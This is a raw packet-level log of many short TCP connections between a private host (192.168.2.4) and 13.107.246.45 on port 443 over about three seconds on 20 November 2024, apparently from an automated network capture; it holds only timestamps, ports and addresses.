Nov 20, 2024 07:49:30.197724104 CET	49984	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.197736025 CET	443	49984	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.197746992 CET	49984	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.197751045 CET	443	49984	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.200414896 CET	49989	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.200453997 CET	443	49989	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.200520039 CET	49989	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.200700998 CET	49989	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.200715065 CET	443	49989	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.729249954 CET	443	49985	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.730045080 CET	49985	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.730082035 CET	443	49985	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.730528116 CET	49985	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.730532885 CET	443	49985	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.776355028 CET	443	49986	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.777129889 CET	49986	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.777195930 CET	443	49986	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.777748108 CET	49986	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.777762890 CET	443	49986	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.816397905 CET	443	49988	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.817162991 CET	49988	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.817190886 CET	443	49988	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.817792892 CET	49988	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.817800045 CET	443	49988	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.830924034 CET	443	49985	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.831104040 CET	443	49985	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.831233978 CET	49985	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.831295013 CET	49985	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.831319094 CET	443	49985	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.831334114 CET	49985	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.831337929 CET	443	49985	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.834364891 CET	49990	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.834399939 CET	443	49990	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.834671021 CET	49990	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.834671021 CET	49990	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.834708929 CET	443	49990	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.838046074 CET	443	49987	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.838366985 CET	49987	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.838382959 CET	443	49987	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.838772058 CET	49987	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.838777065 CET	443	49987	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.873677015 CET	443	49989	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.874130964 CET	49989	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.874161959 CET	443	49989	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.874495983 CET	49989	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.874502897 CET	443	49989	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.902349949 CET	443	49986	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.902535915 CET	443	49986	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.902901888 CET	49986	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.902966976 CET	49986	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.903006077 CET	443	49986	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.903033018 CET	49986	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.903048038 CET	443	49986	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.906023026 CET	49991	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.906106949 CET	443	49991	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.906212091 CET	49991	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.906366110 CET	49991	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.906388998 CET	443	49991	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.914841890 CET	443	49988	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.915074110 CET	443	49988	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.915281057 CET	49988	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.915389061 CET	49988	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.915400028 CET	443	49988	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.915420055 CET	49988	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.915427923 CET	443	49988	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.917735100 CET	49992	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.917810917 CET	443	49992	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.917893887 CET	49992	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.918009996 CET	49992	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.918037891 CET	443	49992	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.940072060 CET	443	49987	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.940239906 CET	443	49987	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.940494061 CET	49987	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.940543890 CET	49987	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.940558910 CET	443	49987	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.940567970 CET	49987	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.940572977 CET	443	49987	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.943063974 CET	49993	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.943100929 CET	443	49993	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.943164110 CET	49993	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.943270922 CET	49993	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.943286896 CET	443	49993	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.979598045 CET	443	49989	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.979769945 CET	443	49989	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.979892015 CET	49989	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.980267048 CET	49989	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.980284929 CET	443	49989	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.980295897 CET	49989	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.980300903 CET	443	49989	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.983442068 CET	49994	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.983474970 CET	443	49994	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:30.983587980 CET	49994	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.983772993 CET	49994	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:30.983800888 CET	443	49994	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.515737057 CET	443	49990	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.516422987 CET	49990	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.516460896 CET	443	49990	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.516917944 CET	49990	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.516926050 CET	443	49990	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.558156967 CET	443	49992	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.559000015 CET	49992	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.559015989 CET	443	49992	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.559442043 CET	49992	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.559447050 CET	443	49992	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.566457987 CET	443	49991	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.566904068 CET	49991	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.566966057 CET	443	49991	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.567241907 CET	49991	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.567255974 CET	443	49991	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.583296061 CET	443	49993	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.583914995 CET	49993	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.583940983 CET	443	49993	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.584299088 CET	49993	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.584306002 CET	443	49993	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.620945930 CET	443	49990	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.621143103 CET	443	49990	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.621236086 CET	49990	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.621288061 CET	49990	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.621309996 CET	443	49990	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.621325970 CET	49990	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.621332884 CET	443	49990	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.624285936 CET	49995	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.624324083 CET	443	49995	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.624403954 CET	49995	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.624542952 CET	49995	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.624552965 CET	443	49995	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.645642996 CET	443	49994	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.646217108 CET	49994	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.646250963 CET	443	49994	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.646769047 CET	49994	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.646775007 CET	443	49994	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.656876087 CET	443	49992	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.657083988 CET	443	49992	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.657141924 CET	49992	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.657187939 CET	49992	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.657202005 CET	443	49992	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.657218933 CET	49992	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.657223940 CET	443	49992	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.660657883 CET	49996	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.660695076 CET	443	49996	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.660778999 CET	49996	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.660954952 CET	49996	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.660963058 CET	443	49996	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.667057037 CET	443	49991	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.667320967 CET	443	49991	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.667376995 CET	443	49991	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.667407990 CET	49991	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.667453051 CET	49991	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.667558908 CET	49991	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.667558908 CET	49991	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.667594910 CET	443	49991	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.667623043 CET	443	49991	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.670885086 CET	49997	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.670934916 CET	443	49997	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.671001911 CET	49997	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.671128035 CET	49997	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.671144962 CET	443	49997	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.692425966 CET	443	49993	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.692540884 CET	443	49993	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.692599058 CET	443	49993	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.692604065 CET	49993	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.692648888 CET	49993	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.692744970 CET	49993	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.692759991 CET	443	49993	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.692770958 CET	49993	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.692775965 CET	443	49993	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.695440054 CET	49998	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.695533037 CET	443	49998	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.695638895 CET	49998	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.696110010 CET	49998	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.696141958 CET	443	49998	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.750246048 CET	443	49994	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.750380993 CET	443	49994	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.750443935 CET	49994	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.750602961 CET	49994	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.750614882 CET	443	49994	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.750627995 CET	49994	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.750632048 CET	443	49994	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.757059097 CET	49999	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.757092953 CET	443	49999	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:31.757169008 CET	49999	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.757400990 CET	49999	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:31.757415056 CET	443	49999	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.257159948 CET	443	49995	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.257777929 CET	49995	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.257796049 CET	443	49995	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.258287907 CET	49995	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.258292913 CET	443	49995	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.295813084 CET	443	49996	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.296797037 CET	49996	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.296819925 CET	443	49996	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.297331095 CET	49996	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.297357082 CET	443	49996	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.310239077 CET	443	49997	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.311026096 CET	49997	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.311059952 CET	443	49997	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.311413050 CET	49997	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.311420918 CET	443	49997	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.347187996 CET	443	49998	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.347851038 CET	49998	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.347882032 CET	443	49998	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.348423958 CET	49998	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.348432064 CET	443	49998	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.362823963 CET	443	49995	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.362977028 CET	443	49995	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.363032103 CET	443	49995	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.363105059 CET	49995	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.363233089 CET	49995	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.363251925 CET	443	49995	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.363265038 CET	49995	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.363270998 CET	443	49995	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.366549969 CET	50000	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.366575956 CET	443	50000	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.366648912 CET	50000	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.366817951 CET	50000	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.366828918 CET	443	50000	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.397046089 CET	443	49996	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.397121906 CET	443	49996	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.397267103 CET	49996	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.397295952 CET	49996	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.397310972 CET	443	49996	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.397324085 CET	49996	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.397330046 CET	443	49996	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.398742914 CET	443	49999	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.400018930 CET	50001	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.400058031 CET	443	50001	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.400357962 CET	49999	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.400379896 CET	443	49999	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.400403023 CET	50001	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.400536060 CET	50001	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.400547028 CET	443	50001	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.400787115 CET	49999	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.400793076 CET	443	49999	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.415775061 CET	443	49997	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.415952921 CET	443	49997	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.416229963 CET	49997	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.416378021 CET	49997	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.416392088 CET	443	49997	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.416405916 CET	49997	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.416412115 CET	443	49997	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.418936968 CET	50002	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.418977022 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.419061899 CET	50002	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.419204950 CET	50002	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.419217110 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.448232889 CET	443	49998	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.448488951 CET	443	49998	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.448600054 CET	49998	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.448786974 CET	49998	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.448798895 CET	443	49998	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.448816061 CET	49998	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.448822021 CET	443	49998	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.451412916 CET	50003	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.451440096 CET	443	50003	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.451527119 CET	50003	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.451657057 CET	50003	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.451666117 CET	443	50003	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.498022079 CET	443	49999	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.498131990 CET	443	49999	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.498183012 CET	443	49999	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.498307943 CET	49999	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.498707056 CET	49999	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.498723030 CET	443	49999	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.498733997 CET	49999	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.498739958 CET	443	49999	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.501890898 CET	50004	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.501918077 CET	443	50004	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:32.502024889 CET	50004	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.502192020 CET	50004	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:32.502206087 CET	443	50004	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.043278933 CET	443	50000	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.043844938 CET	50000	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.043862104 CET	443	50000	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.044378996 CET	50000	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.044383049 CET	443	50000	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.053489923 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.053930044 CET	50002	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.053936005 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.054378986 CET	50002	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.054383039 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.054508924 CET	443	50001	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.054860115 CET	50001	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.054920912 CET	443	50001	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.055327892 CET	50001	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.055341959 CET	443	50001	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.089370012 CET	443	50003	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.089720011 CET	50003	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.089728117 CET	443	50003	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.090107918 CET	50003	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.090111971 CET	443	50003	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.147950888 CET	443	50004	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.148906946 CET	443	50000	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.149260998 CET	50004	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.149283886 CET	443	50004	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.149306059 CET	443	50000	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.149379969 CET	50000	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.153259039 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.153285027 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.153352022 CET	50002	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.153367996 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.153523922 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.153568029 CET	50002	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.154470921 CET	443	50001	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.154547930 CET	443	50001	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.154588938 CET	50001	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.154679060 CET	50000	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.154696941 CET	443	50000	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.154707909 CET	50000	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.154711962 CET	50004	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.154714108 CET	443	50000	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.154721022 CET	443	50004	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.154966116 CET	50001	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.154985905 CET	443	50001	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.154998064 CET	50001	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.155004025 CET	443	50001	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.155577898 CET	50002	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.155584097 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.155610085 CET	50002	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.155613899 CET	443	50002	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.158076048 CET	50005	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.158127069 CET	443	50005	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.158133984 CET	50006	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.158179045 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.158195019 CET	50005	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.158216953 CET	50006	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.158324003 CET	50005	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.158339024 CET	443	50005	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.158405066 CET	50006	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.158426046 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.158989906 CET	50007	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.159003973 CET	443	50007	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.159065962 CET	50007	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.159157991 CET	50007	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.159166098 CET	443	50007	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.190056086 CET	443	50003	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.190138102 CET	443	50003	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.190233946 CET	50003	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.190412998 CET	50003	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.190426111 CET	443	50003	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.190440893 CET	50003	443	192.168.2.4	13.107.246.45
